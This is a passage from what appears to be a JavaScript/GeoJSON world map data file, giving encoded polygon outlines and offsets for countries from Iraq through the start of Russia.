ъϯ־ő̤~রئ̀Øʞʙ́гԼѱȾ¦ˈإߖǩ׎у஠ƟಾɞĄȞ"],encodeOffsets:[[55216,38092]]}},{type:"Feature",id:"IRQ",properties:{name:"Iraq"},geometry:{type:"Polygon",coordinates:["@@րʧÚӫх́țٽ׊ߛ਎ҡўٓƏ؋ˎ@TҁҮѳӿ¤֟ê؝߭༟äᛍၖఫךৡɪ͹৾ᇶ࢔͆৬āؘҢȺјԾΰž঎Ň̐ɉЖƚծ৉"],encodeOffsets:[[46511,36842]]}},{type:"Feature",id:"ISL",properties:{name:"Iceland"},geometry:{type:"Polygon",coordinates:["@@șիॊֵથٙᝓֹܣƵૉŮᚑˈࠠψᆧЪ๪ǎ—ʘᄋȜ֨նౠŰಸ֭౨Ҝ੒ʃൌ҄ආÑ"],encodeOffsets:[[-14856,68051]]}},{type:"Feature",id:"ISR",properties:{name:"Israel"},geometry:{type:"Polygon",coordinates:["@@ƥ˅̣Ŝǫ֓ɂĥɋř—ɛЄŖp͛нഉց෾ʔˢ˶ɞϼǠيŤɆzVˬCþƦɤ\\`·ŕŵhM"],encodeOffsets:[[36578,33495]]}},{type:"Feature",id:"ITA",properties:{name:"Italy"},geometry:{type:"MultiPolygon",coordinates:[["@@̟ڋŲʹǭѝٝ̈́ёĞ୩ѐŞќজûࡪĠْò"],["@@Ԍ׭ş૕ϣÂ΁˫͇ɞ‘২ȓӒҨ¥рʼ"],["@@ரɏĝЯȬΧڝŪہ̗²зĻʇˠё߀чцۛदڱچLȲȃɽǗݪ̥ؠʩܜѫĔƿƽ̛үϼܳƐΝի؈̷ıѫΗ¹҅ܛΕÝHʲǢҊǼǶ͝ӤʱшΑŀʛδգƴεͶثÆٿϜޑմ֯ӜʿࠪйĮہˤϯŕӝϵΓÕĪθҕńɏٲ̆ʰʙ̀”ʂβǵМ¢Ҽ˶ƢƃА€ǼͺتĿψƚâΆԘšĮdžࠨƤȊ̉"]],encodeOffsets:[[[15893,39149]],[[9432,42200]],[[12674,47890]]]}},{type:"Feature",id:"JAM",properties:{name:"Jamaica"},geometry:{type:"Polygon",coordinates:["@@֢÷ҀȫƔɯןeʭƗҹƊӑ̪ĶȔΜÎȒƒ"],encodeOffsets:[[-79431,18935]]}},{type:"Feature",id:"JOR",properties:{name:"Jordan"},geometry:{type:"Polygon",coordinates:["@@Ʀˆपͫ࿪ࣆͺ৽Džų၅у࠸࠿ˣƛƑ˭ٙřȩ̡εʵधƆƒŨоഊo͜Ůʚ@Ԥ"],encodeOffsets:[[36399,33172]]}},{type:"Feature",id:"JPN",properties:{name:"Japan"},geometry:{type:"MultiPolygon",coordinates:[["@@ņ˽ҿԕΉːљțɝӭշʈRЊҬԆӌīΊΜؠǹ"],["@@́ڡƤсѩף੹Ѓ๏½ணॡ͔֡“غษȃষЃঝe࡞أ֗෗իΝН͜ȶݶՏʒͿ־ߐʶѲՈࡌѢ؞ָာʤ࣎ǣࢠ๺֔Б௾ࡀӌ͜ՈਈƟा΢ՎࣀƸҞୗ}ڻޥࡍbࢁ"],["@@נǵרΤȈहఝɯ݁࠱೓ָқँण]ř࠴д٨࣌²ʖ୐ʜټন࢓٤˯"]],encodeOffsets:[[[137870,34969]],[[144360,38034]],[[147365,45235]]]}},{type:"Feature",id:"KAZ",properties:{name:"Kazakhstan"},geometry:{type:"Polygon",coordinates:["@@ӕƹ્דο׹̹KɱЊ੫‚ǡێХNÚࡆ৓ؘ෷ßডũߣݶۋ͆ಥ׼ƽðᓗӹᶽљ£יچ֧ɼॕǩχ˧±ȲȶΖDž̊অ˺ϛݮҩɆ…˜ࠊāŽؘ܎ƎܼűƲࠎƭԲ࠿£܍ȴঃσ޵ǭяƌĐўՙ֘دw܉֬ӞِʕǢڢऊࡺӣŀؘჄࣴಾtᇢ׉঺ͻࢼΠ೰j੺ѥʔʠ୼—ɂЊഷ׀߮Цƿɮ߮ɔ؅ֺϬ˼Ḯ̈ШȺᑆ̴ݰΒຢǹ˄ࢉ࢚Ȳઆ˹éҝ߮´ᑌߎ̭ˁ੶٭ሠᒑ҄ѰୄӛீɎҪƯКӟטNjΨΥ઎ŒѾԣٕ֓ۥÿ¡ࡅұϝဟˢ؅ຑїȇဗͱݲลֻɓäӏԭŬу̠ఝĖඃx̧ġ஥ΞӉǧŽӹ൩̂փşȉρ"],encodeOffsets:[[72666,43281]]}},{type:"Feature",id:"KEN",properties:{name:"Kenya"},geometry:{type:"Polygon",coordinates:["@@ӾۙיͱȹΕ̿Õšףˑ͹Ǐ֑ͷ˥஻ࡀËӤᵁႌƙĢSࢺʊ;а֌̨ؔσ॰įтЉ׎ԬԈ֬ֆѨƗ@ҽ˺ˡג@੠܋ˈSȠxȄī֖ßʞΔގΚͺ˳ָAܽ॑Xᵣ"],encodeOffsets:[[41977,-878]]}},{type:"Feature",id:"KGZ",properties:{name:"Kyrgyzstan"},geometry:{type:"Polygon",coordinates:["@@ȊςքŠ൪́žӺӊǨ஦Ν̨Ģ඄wఞĕф̟Ԯūşȏ೛ғ̙ͭઁıͅ՛ࢷŒׇǏߣЇŜȟʇȓཟŵਡ˘࣫ÝĂӜࣴƕ̮ʸٖĉ੾؂঻ѸױȽإ͂۶ծʟĊ"],encodeOffsets:[[72666,43281]]}},{type:"Feature",id:"KHM",properties:{name:"Cambodia"},geometry:{type:"Polygon",coordinates:["@@΁Ѭыࢄȣ২ՠۨઘdž߀ťۚ͡Ϟׄݖ̱Ȝ֕Ļ৕ඳ٧τԙࢥÓܫͷ۱Ū"],encodeOffsets:[[105982,10888]]}},{type:"Feature",id:"KOR",properties:{name:"South Korea"},geometry:{type:"Polygon",coordinates:["@@ܨযȺխPॷ̓ҥݽljڥΏݳïĥҚƼـχ࢔ذƚֻܘÂúϒ‡͞Ϝצ¢ΨÈŨȮ"],encodeOffsets:[[131431,39539]]}},{type:"Feature",id:"CS-KM",properties:{name:"Kosovo"},geometry:{type:"Polygon",coordinates:["@@›ǣŃPĘ́ȩĐdzɦƾȌȪÒŜ˨ư²Ţşƾ¿ŌƅƒŸǎƻŢLĥȳijij„×ȉӹŻ"],encodeOffsets:[[21261,43062]]}},{type:"Feature",id:"KWT",properties:{name:"Kuwait"},geometry:{type:"Polygon",coordinates:["@@Ǭχõȓ˔هשuȽАݟĆ؞߮֠é"],encodeOffsets:[[49126,30696]]}},{type:"Feature",id:"LAO",properties:{name:"Laos"},geometry:{type:"Polygon",coordinates:["@@˚Ϝœ܆ڹܸ¿ٕࠦھٍÎǛ̉ӯyʣƨࢯԅoݬȸࢮ֧ž³ԎηʸǴ̲ܐնøȡ҄wŵ०ѦŬӮڏϖޅਚO͚ܹ՝ɗʉ̟৔ԉۦ঳Ռ݋َ׏ɄץƵ࠿ݕ̲ϝ׃ۙ͢"],encodeOffsets:[[107745,14616]]}},{type:"Feature",id:"LBN",properties:{name:"Lebanon"},geometry:{type:"Polygon",coordinates:["@@ɣ[ýƥ˫D̘ۄмעfˆϘ§Ɛͣқ̓ȷҟ"],encodeOffsets:[[36681,34077]]}},{type:"Feature",id:"LBR",properties:{name:"Liberia"},geometry:{type:"Polygon",coordinates:["@@ɗQࡽАޅٖ܏Ң֣ըȪː¬ʔϜҘϺϺǶnɖĨΘԧÇ͵ǐdzʂIǢ͸ʄsŸʓĎНǽύʖɱˊÇΤΙ~ͧăĿÝە"],encodeOffsets:[[-7897,4470]]}},{type:"Feature",id:"LBY",properties:{name:"Libya"},geometry:{type:"Polygon",coordinates:["@@ק̷ҿҤ೧βρՄڑϸϻƷ̗ҶήӹؔͬΘñՈńҠÓϦƨۈ¯϶˕ݐШȜðΠėΒ־͔ʶːЦʌ´٦দ́ΜðۮƓ૞ϓЀݛݮǍஆΙࣆйЦɔЖϮț٠˂Ф؄ЀׂŘ଒ǣ˺ϑ̺Iˌƛ࠴ıȲˣ̣ЕżΫɏԯʦڱ@Ჳ@ᶵ@့ॱGYΙ‧ྐ‧ྒࡓҟ"],encodeOffsets:[[15208,23412]]}},{type:"Feature",id:"LKA",properties:{name:"Sri Lanka"},geometry:{type:"Polygon",coordinates:["@@ų࢓ΙʇܵȓЍڜƫீϠ഼׆ұϺסО࢓"],encodeOffsets:[[83751,7704]]}},{type:"Feature",id:"LSO",properties:{name:"Lesotho"},geometry:{type:"Polygon",coordinates:["@@̆ʩʳУƛ˛ҳſƹˍ̛ċؿ٨҄ՐҖ͢ϼǠξʵ"],encodeOffsets:[[29674,-29650]]}},{type:"Feature",id:"LTU",properties:{name:"Lithuania"},geometry:{type:"Polygon",coordinates:["@@ãɊĚɲχƄࢡƨDZ۸२ʴඬÁࠜĊŞǩ҂Ã߲СĀϓۏˏșӃ࣯̓߻NȫʶљĜ"],encodeOffsets:[[23277,55632]]}},{type:"Feature",id:"LUX",properties:{name:"Luxembourg"},geometry:{type:"Polygon",coordinates:["@@ǘȏ³ρʍiȉòĞҼɖŽ"],encodeOffsets:[[6189,51332]]}},{type:"Feature",id:"LVA",properties:{name:"Latvia"},geometry:{type:"Polygon",coordinates:["@@†نЮՆߊ˼ڜعڪhNJ٤ܐƪςĻܢ̷ۚCКȕîС˒ӷ͕ࣗԛƙ߱ТҁÄŝǪࠛĉණÂ१ʳ"],encodeOffsets:[[21562,57376]]}},{type:"Feature",id:"MAR",properties:{name:"Morocco"},geometry:{type:"Polygon",coordinates:["@@ԒΥߜÎࢊȃκU͂՟ºԝ̄ࢱɜDZƷ͛ષƙϝ̵ӡñ—ثঙ͍ͩсۍɥ࠻ŷഫاRহŷ@@@p҉Ա˓ȑϡ@̥Ŋ۹ě˛ٻʿÕЁ੕ୟ࣡ˣୋ΅ϗĵ̡ቅãaD ϶͒ɮ˞ѪÃ˶̀פҴՖ˲ƊɞӬp҂̤Բ̪֔Ւ࡬f\\ц͔ްĢڎָтɠۮۮȿਸ਼͊ܢŔѶդ֨ࡈϦخΐ֘࢈˄ԪؤI"],encodeOffsets:[[-5318,36614]]}},{type:"Feature",id:"MDA",properties:{name:"Moldova"},geometry:{type:"Polygon",coordinates:["@@ȨŮ֒ĊؤʽΊϞɥÑ˵̪ƏŨΗ̊ɇÏűƾčɝ×ӷ|ĉŜǫãÒƭɱˍƥ˽ɁĝƯϦĘΪςӝԂˉΠʹʠʯĈ"],encodeOffsets:[[27259,49379]]}},{type:"Feature",id:"MDG",properties:{name:"Madagascar"},geometry:{type:"Polygon",coordinates:["@@ɠΥȺ։Ɗঢ়ɒϽĉЗƩʙ˷ӰǁʝLjثõΥɵȗ¿܅ͧওб୅ԯཧ͑ୟϛইہȣܻΡӛɊڙ̜ɳѺÇݘ̑ڠù؂Ʈ؄ϰƢD˪Дِø՚șЈǃՌãޠ̊ҺŔՒмŒҶǤ̶Ʋτ\\ӐӎۖԮʦцŗάΦĵҪ׎fԐ˦ϔ̊ί"],encodeOffsets:[[50733,-12769]]}},{type:"Feature",id:"MEX",properties:{name:"Mexico"},geometry:{type:"Polygon",coordinates:["@@͙݅ƥ؁Õ૷ąЧƤқʺЧǚٳ֎سȞӏ͢бࢾɝΐΙ݄ɾٚĎؼưՊƠՖ΂ȨӬè۸Ƣʖ֬ɚࢶȚݔ‡ԚîȬDZ…ЙҋԁȥԝƸƥűγɁٽɅɎǭcǃY̝ԓƳIJķPŭޥV޷AAӁϛC̺˫̶șĢǹƌ½s˷ઃEЙۅŢƽĭȟqʕ्ࣞџ˘ۇɖҷÓګ́чĉץɜؿDŽ޹ϬؿŠ्ϸ۱ВɃɤҹº࡯ˈΓϦࣗӊсՌȧЦ˪ĈđʈȖɔJ̄˱Ϙùͮ˭ъ݋࠴ࡋڀУԼܝ΄ƷȴŸԲѓȞӹФȽהҍæӣѸϿФ™ˀҍو̓٠^͔؇ͬ˫™ӑɴƇͿƔЕĆف̀΋خׁƒȡŸÓŎ˽Ƭ\\ǜթʮɇǴ̕Նё˨ޯʠρɸϿ²ѷКƒͶϡ̨ϑqƭΝ̱ƫJɛԞջӎ؃РїɈ„ؚŵҖЏʺֿϒŏŇɃɖԭȰӷӦÖÚΊ³̸̼ŽϜ٩׶ӱɶ̱Հ̷վϳڦͿݲॖÞ੪ĞÿǑ౔СኀףဪPژ@DΌผ@̪̕јˇԀσ˨ѭȾҥѢʩۤʥՊڒۊhפͱфֹ̄ӯӸӏȂחɾЃپʹ׮ȁ͞|"],encodeOffsets:[[-99471,26491]]}},{type:"Feature",id:"MKD",properties:{name:"Macedonia"},geometry:{type:"Polygon",coordinates:["@@ńOœǤӺżȊ˺¶ϴbтˏÒ։DžƒƑƥҕh͋ǿջõΑȴšήń˸"],encodeOffsets:[[21085,42860]]}},{type:"Feature",id:"MLI",properties:{name:"Mali"},geometry:{type:"Polygon",coordinates:["@@˰ƶƘӶˊpזɻӄǖ͖ÇŴȈ⁚^ȈךƣļЛ⋈Л⋆౾dᬼᆳᬼᆳȨϿԺʉ϶ƋV՗ठĈFካҟ֗íԭݛƃ଩ï̳̗ա՟IȿLjҥš޻ΑDžʿٳϕŗɍΙǡНŔɱȳūֻڙۡp˳ɭΣÆӥ΋ůȝŁŽάʍĥơhƷʕ٭PɷŴʼnùʱʎ¬ʢĿİdzĉ˚Ǥɐ΅ΚijɴȇȂǙvȫş˕őɱǹΫäɷɈƓ„ɕőƅAµ̮žʾí̽͘ʀǓӔԺ"],encodeOffsets:[[-12462,14968]]}},{type:"Feature",id:"MMR",properties:{name:"Myanmar"},geometry:{type:"Polygon",coordinates:["@@ӫηץ›ϥࣥΟƳО݅ՔؗΈօ̭ܵ̃ƹȪу֖ڙĪҷ_ϵ͠ދң޵Сࡷăذʴ٠˯ӼæࣸͽѤ˛৔Ʊਗ਼εۢօуॕ׳ҽöԳȠ̂ਪǫ޾څॺļ̢ӭņ׭ۆÅڰ̊ŵj׾дȦęΤȐ˺Ž࢈ڂȑϐۘ¨ЦҪ۶}Ӕજ׆׸ƱçԬ̎ƸÛ͈ӮÚˮӵξȧ|ٟ“ۙߓۭijঽࢲƔȨޛՐǍʓۣز́ζƷ؞ʔ~΍܏յdẕӓȗ"],encodeOffsets:[[101933,20672]]}},{type:"Feature",id:"MNE",properties:{name:"Montenegro"},geometry:{type:"Polygon",coordinates:["@@ÁǀηЯÊˋǫÞɽ˞εǖĢƜŬҦ˚ȜƾüɠƟŬśˠě͌ǧçïƽȋɧó"],encodeOffsets:[[20277,43521]]}},{type:"Feature",id:"MNG",properties:{name:"Mongolia"},geometry:{type:"Polygon",coordinates:["@@ࢮƢ྄ܤ౬Єܴʳ࢚]֘Ͻ࠼‰ௐɁࠈגͿӶࢊࢊश΍ނįনɍLjؿஜΛߐƺਫ਼ŌࡆōࠖЗԚѕެT੒Ƌޜȼૈƒ௸פԌĝѰ˭ৌêХهק࠽ɐ΅ӈńࠤŽ٦̴ڬˏހוğ̗ڏĦ௟ŏןʅ؝։౱͙࠷ѽࡹǞҿúѳէˎ͓ƌˣי˯׽҇গ̑ఽ‹ഫ̇এҋϋʾ৭AఓԜࠥŰૣśჃȊऑmӱԀϣޠԱĢ৩ԼଅŞুƞ̡θ͖চׅڲன̀۷Ѿəז"],encodeOffsets:[[89858,50481]]}},{type:"Feature",id:"MOZ",properties:{name:"Mozambique"},geometry:{type:"Polygon",coordinates:["@@لæ৞ʁɖńגt̚ʦԌaऀ͜ڞӤƊϕ“࠷ľ݅ಿƨЫʣ׷͙׍՗Եޏ͉ृСॉ͓ࣕƵוׯ΋ȗí׳ЌُǔӱZʣƪ¦{ࠗƋϷȤƝűΓΗ̗ۗ˳য়ҕρ̳ðΟɊÉíѵّRïϊůϖí̠ƬपɓװГஂࢬ॔ɜ؆ŶúĨӶƉʞ˜غǐ׌E੠ѥ˒ЏÔǹȼϳǰ۫gÅ̼āװᢈۘӚЕɴüͨɅ¸͵ǯϷØסոԱʲ׌ζǰíઊΙ؈̣˖̅]ɽદɾٔ"],encodeOffsets:[[35390,-11796]]}},{type:"Feature",id:"MRT",properties:{name:"Mauritania"},geometry:{type:"Polygon",coordinates:["@@և־ԗؤ֍ɞГʚҵUЧǽйð˽ˏïҐɺаŀߊģࠨĵкČмɑЎѵδǾˬᾔMǃ௎ȴќ߀øᒸ᪂©F౞Ṗ᎟౽cМ⋅М⋇ƤĻȇי⁙]ųȇ͕ÈӃǕוɼˉoƗӵ˯Ƶ"],encodeOffsets:[[-12462,14968]]}},{type:"Feature",id:"MWI",properties:{name:"Malawi"},geometry:{type:"Polygon",coordinates:["@@ɽٓɾથ̆^̤˕Κ؇îઉεǯʱ׋շԲ×עǰϸ·ͶͧɆɳûәЖѵɔʮޮ˄̈LJۢǚڼƞɪɉ܌Ѕϐ࠘ƽǜɵ˶Ϲɾଡ"],encodeOffsets:[[35390,-11796]]}},{type:"Feature",id:"MYS",properties:{name:"Malaysia"},geometry:{type:"MultiPolygon",coordinates:[["@@àћֈĶ˞ΈȘýӸԓΜ֛¶֣ęϡĆ˿Öӻ̒ɵͤݑe˳׫Éߑخ঵ښįђӟ֚ś̡۠ҜĠؔȃΤƤƮۈρ"],["@@أ˹ܯƚॱ@̅ॗ͓̇љୟۅǵߑɾЕóөщ՛Òէǟַӆƕ֘؜˽ٮǀǜ܆άǂ৖Ǻ׾ڔЬՐϦѥǮ˺В¸՜œа٪אшڀͼHќыžιֆɻ۬ʧÑ֝͡¥ƮЧ"]],encodeOffsets:[[[103502,6354]],[[121466,4586]]]}},{type:"Feature",id:"NAM",properties:{name:"Namibia"},geometry:{type:"Polygon",coordinates:["@@رٌؖ͡ȃࠊȷ،˯ಒm৒ŅҞ͛Όѡۜѳ৘ǽՆۃࠐ»٢КdžԊƞհ}ԄϝŶÐ₮˜׌Е᎞ş໴΂یȒհµͨȍPéӁȍʭC՛͍ͣΎಕ̍سƒ{Ჽࠣ‡BយA᷋ݣѕҋÕՇDŽϗÔƗάͩɰГг"],encodeOffsets:[[16738,-29262]]}},{type:"Feature",id:"NCL",properties:{name:"New Caledonia"},geometry:{type:"Polygon",coordinates:["@@ېԵѨϭ͉ȫҥɪ׹ϚէѼ։פś˶β[Һ˹φ˷ˎɻ"],encodeOffsets:[[169759,-21585]]}},{type:"Feature",id:"NER",properties:{name:"Niger"},geometry:{type:"Polygon",coordinates:["@@nּॹȐОҿպœϤâТբ̴̘ପðݜƄîԮҠ֘Eኬஈϒᝪ࿸᮪ཾ೨αӀңר̸ȸಯ̾ɓ`ˋΔ˽ǻί͕ၻ«ધੳߋγૉΔ̵CեբmčЃʁµˋƻm֩ंȟ’ځҷٱʔҍ¸ʏşӯ~ӷΧѓq৯ѢЉȵѓb̿͆ࡅ̼ࣗıɕǻşӗʋ͹ÍݣٗӚ̟E˭ʗ"],encodeOffsets:[[2207,12227]]}},{type:"Feature",id:"NGA",properties:{name:"Nigeria"},geometry:{type:"Polygon",coordinates:["@@ࢍ̡͉¬͓ȉڥl҇Ղˡ؊שֆكYݍB¶തs՘ǂՊʶʴТԴėɨǔ͸ȍӾ˪ÎݤʌͺŠӘɖǼࣘIJࡆ̻̀ͅєaЊȶৰѡєrӸΨӰ}ʐŠҎ·ٲʓڂҸȠ‘֪ँƼnͬͯğƱ«˧۽ٱɛՙšѧDZȉǝי҅ΉŽыȋ͹ÿΓֽ˱ҽΊ͇aԃӭʑQЍ߷ɍש"],encodeOffsets:[[8705,4887]]}},{type:"Feature",id:"NIC",properties:{name:"Nicaragua"},geometry:{type:"Polygon",coordinates:["@@̃ˆϽͺȁ˲Ο˄сϜĤžƒŵÚÒʾ”ŀȔŬRkЮȠrǬOǺɤʜǝĒľƺIJ̊ɴbǦĄQňȪĖ|ƜŹǚ›ȆńɄB̈ŌŜŖ˾iïă§ȉĐ̫ȗ˹ěͷυ®ɏtϙŹĉýΫÌɛǣɋ ɩźƏȩDZʛÈƓǦˉêȕʼnօɞųŇ"],encodeOffsets:[[-87769,11355]]}},{type:"Feature",id:"NLD",properties:{name:"Netherlands"},geometry:{type:"Polygon",coordinates:["@@ۦyǀ˳Ƚޓɇ́ԍ@ƘࢡҥȞՏπީǩ؛âѠɲ݀ఆଲΘ"],encodeOffsets:[[6220,54795]]}},{type:"Feature",id:"NOR",properties:{name:"Norway"},geometry:{type:"MultiPolygon",coordinates:[["@@᥆ؙઍɣऄՅෛ͵ڵû΢לઃͰಫ˵Ы؝ߟωࣗȮ઱¥णѼԉɝԷ“ūփནƊɝҵ߭Hևױ࠿झಫ஁̨˹̇ͫ࠯bձ޿¾૟՞э˥ধֻۧυӛ֝Ԫဋঁ૫ȟ୏є̛ࣚˇ኶ޞզᕠ۶ဌࢂ໤୦፺ྴඦلᘼ੊ᇎπ൪­౮ۢ໖›ພǘ"],["@@ም΅๝Ȝ׆ɐԕˎეǚͮ̿ொȍ"],["@@᪖صᑟͥұأ݅ǁЍۡৣᅵԢނ̘ఽʐ࿕܂ٷڄᘎ̜Ң̋஦\\͊˼௾ˆ੖̋"],["@@࿮̏ఝҍ᝱ı៙ƖƫɴஹdँϬᣴɼ௞ȫࡘʤᑺȽ"]],encodeOffsets:[[[28842,72894]],[[25318,79723]],[[18690,81615]],[[26059,82338]]]}},{type:"Feature",id:"NPL",properties:{name:"Nepal"},geometry:{type:"Polygon",coordinates:["@@ÝαŌՕĩͩ۩aয়Ȟ٭ĂӛђଷŊયҼ߉Ю߿͆͜޼ՒϠΒȪڪʳࡔշҾť˰ЕٶǓۀσौȕঔć"],encodeOffsets:[[90236,28546]]}},{type:"Feature",id:"NZL",properties:{name:"New Zealand"},geometry:{type:"MultiPolygon",coordinates:[["@@Ȓ΋װ;ʐΡBΝ̹ϳչإїͷ̴З٭Yܗ̓ɣջӋࡗڇϓнʇޝlխˢࣱÐƗ̰Ҍذ੐ࠦժǀ׾͌ܜѰԎѦώظ͈ɆŰҶלϴȆΧ"],["@@،ࢫlָϜɯŲًڰ˛֨ãӒ͎юĭȯݗʯӫٛjɡʭþαūƻͅҏзֹ٭ͯƟɘΕŨӞ۔˟ҨࣛͲz̦؈̌ƚ٨Ÿլͻ֜vƪБΎڋݔΗת̸àҚұٺɑʂݡ"]],encodeOffsets:[[[177173,-41901]],[[178803,-37024]]]}},{type:"Feature",id:"OMN",properties:{name:"Oman"},geometry:{type:"MultiPolygon",coordinates:[["@@ֹ̻ϟªǩȧƉэļ֗ÿĻϯFԽ̻ćХȓǯԹP͡ɃJͻПɷҩĂ֗˳ϱ³˝טٿ൴ᠾ࠾֖၂ϩתv͸ʔΐFΆϞǒƩŞèմіHϖֵҸ̧؞ŋӼƳϜӕɨ˧̞ŃCȉ̩ԃƅɽΟˏ"],["@@ʼnƳDž˺ʔ˺ľñā΍"]],encodeOffsets:[[[60274,21621]],[[57745,26518]]]}},{type:"Feature",id:"PAK",properties:{name:"Pakistan"},geometry:{type:"Polygon",coordinates:["@@تϻʞ٥൨ͻ߹۷ऩůౣȲЫα̖݁̈֩ڴгܑӟ`׳ࠃࡇՃ࡝࢝ࢡউÚऑࢡռϗĪ٧ҾэǘܝᇛD֓֕؛Ɇʣ؀٭٘໻ǁിeஃŝ̈́ঊொѢéϰГƌw݊ߥφͷԔеѶඨѕࡀŲԈŅǞȂגóદĈ܎ҶӈشCĠɼٞŌ̴ý͢ʀ±ԌΦԖ՘Ɇͥ֊ߜɴ̢•͒мΜĩмȣΤӬμࣘǮ८ĮѐƺӨĦ"],encodeOffsets:[[76962,38025]]}},{type:"Feature",id:"PAN",properties:{name:"Panama"},geometry:{type:"Polygon",coordinates:["@@˫ʎǵҒȺɢɅÎƿˤлɸοÁǝ̇ͻɁǽ‡ĉǩВҗɯŅŧŭϷ©ơԈŋƛˡ¸ǝ͸·ÈɓİέCǻĩŶªǖìǠƲŲIJǩŲK͸͘ö̠̝iDZͲ›ĀæɴȵЮÔΨɄԜǞ˺ʤҬ·‹ĉҶ…ώơ˜ʧ̈́ɵĹūȜӵǁʟ˓ÒŅС"],encodeOffsets:[[-79750,7398]]}},{type:"Feature",id:"PER",properties:{name:"Peru"},geometry:{type:"Polygon",coordinates:["@@ɥљћɋࡅӘñΈရࡊທࣾ٫԰ΏۜƐʎ܅ાࠣ༄ߍီ΅Ϥ˃ؤٷպױͼ˖ϒПߢʼךڢՎIJΓʇȧx̭ΎâͼĝΚщӆΌDŽ֤ԦܶৠͨࣸࢠʾմŝٔɢĂ֒ЉˎЅϴɏӶࢣضĿҨɞ̤ƣԎð٠Ͻթࡣʤoрҁݳ œųۍlj॥ֱÓϻɉ̇ČғԕʍBΡɛƵΔݳҲԝDZί֐µ͆҃ݐuېӸÇ౧ϢĩӄƠܪടǷ˵£ןg܍͟пƮ̵ȕ˯β۹Ջ࣡"],encodeOffsets:[[-71260,-18001]]}},{type:"Feature",id:"PHL",properties:{name:"Philippines"},geometry:{type:"MultiPolygon",coordinates:[["@@Đ֏ºҽ˹ޑ̫ࡨϽэˎإʉϿ঩Ӧɿ؊ʰЎՑЈˁΑЃثҵƑʖ͢۾ՌʀҜ̈́̔ϝٔɰƎϒרv·ٰڼЋêхÐ̱"],["@@̟ˡˁՍ˃ʝԫ׈ǦɤɂɾĢԸҨ¸Ɖ֣جߺāߡ"],["@@ૣߕЬט؈԰Ԏ׊Ѱ࠲Ʈۅևҧѳֿ"],["@@Ԏʹ՘BgΗϳΣՕʧ‡ϸÒєŽА"],["@@ʀभ٫ɞj˭ȶԯЍȋ•עʧªƁԘӶãY͈ԣٜ߮mɴ̻"],["@@ɟܩέоѓ٘ܚ‰̡̈"],["@@ԮʉʶɖüɇƍΑ˼׻ɛۥӷ˥ƁڳȊڝѾġϊIJਾүăҙ˜ȫēϯٻЮ̵Ѵɍ̯՗ԊރůлȆ¨ΎˀɊʣȘŇ̡бӚűμߨͺˡĔೄ˜ހԘA"]],encodeOffsets:[[[129410,8617]],[[126959,10526]],[[121349,9540]],[[124809,12178]],[[128515,12455]],[[124445,13384]],[[124234,18949]]]}},{type:"Feature",id:"PNG",properties:{name:"Papua New Guinea"},geometry:{type:"MultiPolygon",coordinates:[["@@ɽčε͔ρՔǷ٘ŜĆĜʡʬȏРՑЈ˵ŝɽ"],["@@ѯçƃɽҟȱћȟѽBۏʔӑɺêʺݬũҠàŶЖŦrĆѽӐÜʂ˼Ҹ̚ġӸԌfǜƏgү˯ԡ"],["@@ݤտղࢻӖ„‘ω٬ƛʥǁࣀΝġʏ֋ÏȷɔܟĦࡕŴٷ՚ӉҦѧ݀ભπ܇ʇԡˣńإڇ˿һƖࢅ–aᩒaᩒภ׃༊ӓׄїҴхŸӵඔԱȲѽޛěȄ֕"],["@@ʿɡǁӸȝ͘ϝ˞ӍΪ؇ʚɺȮҒɻ˸ȁΜȫʹΛ͊ˏĶѧ"]],encodeOffsets:[[[159622,-6983]],[[155631,-5609]],[[150725,-7565]],[[156816,-4607]]]}},{type:"Feature",id:"POL",properties:{name:"Poland"},geometry:{type:"Polygon",coordinates:["@@·՜à̂ȹ̧҆̚ɺɤȝђָʘ಼ϴ੒˴࠼ƙÚȱ߸Yਚħ໶^њěȬʵšωɸ͋KͯԋǡʸϳfϏцܻěɽзįރۥɒϗǿ¶ߙ͔؁šЇĒӹǵч̖Ήŕ³¼ϭаر¼ăˀֻĦűɑҗǨÀɴػòЉ˔"],encodeOffsets:[[15378,52334]]}},{type:"Feature",id:"PRI",properties:{name:"Puerto Rico"},geometry:{type:"Polygon",coordinates:["@@јõưǕɋɃمLӫ‡·άŢŬیK"],encodeOffsets:[[-67873,18960]]}},{type:"Feature",id:"PRK",properties:{name:"North Korea"},geometry:{type:"Polygon",coordinates:["@@Şƥ͉ºη˵ʣ˷Ž׽ѣȅƫƧ̓ʝ֓ƏηɥηįġͰƋӈσŧȭΧÇץ¡͝ϛϑˆÁùСdžĵƿʙé‡ǀɑüɥƆɰφȤİõƶɆҒÅƎөĠЇɤۄբऒҌ־׮Ўˁܪ‹ſѺಚβͰҼժӹ"],encodeOffsets:[[133776,43413]]}},{type:"Feature",id:"PRT",properties:{name:"Portugal"},geometry:{type:"Polygon",coordinates:["@@̦Ɉ΄ŬɂЫӺDƞłӪ‡ɼуϱɩYٽƍū‘Їγçʹԋɵտ̄ʡřɫ̵̿ê˥ͷɓѷŠџġŸڂÿԬϓþȩ͈äռͰ̨ÒͼǪԎkΤǙ̠™˲"],encodeOffsets:[[-9251,42886]]}},{type:"Feature",id:"PRY",properties:{name:"Paraguay"},geometry:{type:"Polygon",coordinates:["@@ͦ৖tҌЖ݌าʔޮ]޴їbʵʞҳÇଛࢲLJ΄ǐ֦ɩǀʣþޓİ͓̼›̀ƌ̢ƳAҥŕӻǑӛƍݏށ١ړƇऻŸࡑɮࠢ౨ťψࡽ͢ਅبۉŸ໵ൌ"],encodeOffsets:[[-64189,-22783]]}},{type:"Feature",id:"QAT",properties:{name:"Qatar"},geometry:{type:"Polygon",coordinates:["@@ÇؔɨѲɰĜʬˁdӯǽӳɵÑʫǖ"],encodeOffsets:[[52030,25349]]}},{type:"Feature",id:"ROU",properties:{name:"Romania"},geometry:{type:"Polygon",coordinates:["@@δǶԴġՠGϸȳ˺źبĄɄȠΠ@ʰćʺʟˊΟӞԁ€ρėΩưϥϒƹЂƊϠƟpɏПǹʯĀɻ৥ӳĖ̪ؑফțзɋ௽¬٥ƀ͙ÕʍΊƵƦȚƘȷŀ˃ȋөʔßΌԟȢĥˌҕͤڪǂԖ֮Њ֬ԢǮ"],encodeOffsets:[[23256,49032]]}},{type:"Feature",id:"RUS",properties:{name:"Russia"},geometry:{type:"MultiPolygon",coordinates:[["@@ࡌ๫కˤԫ்ࠌࡳyוُԒսٱƻ۸Ĥࠊħ࣢Țٌš૴ӯࠜôରަϮͭϴϐŠɔ։̆ߵuࠟΎࡑ"],["@@໵]ਙĨȒτ୊˚ࢢƧψƃęɱäɉ"],["@@֦Ƚțؐᗸű࿨޻࠭λ൛ēsࠑͳǩ޽~ٗ̊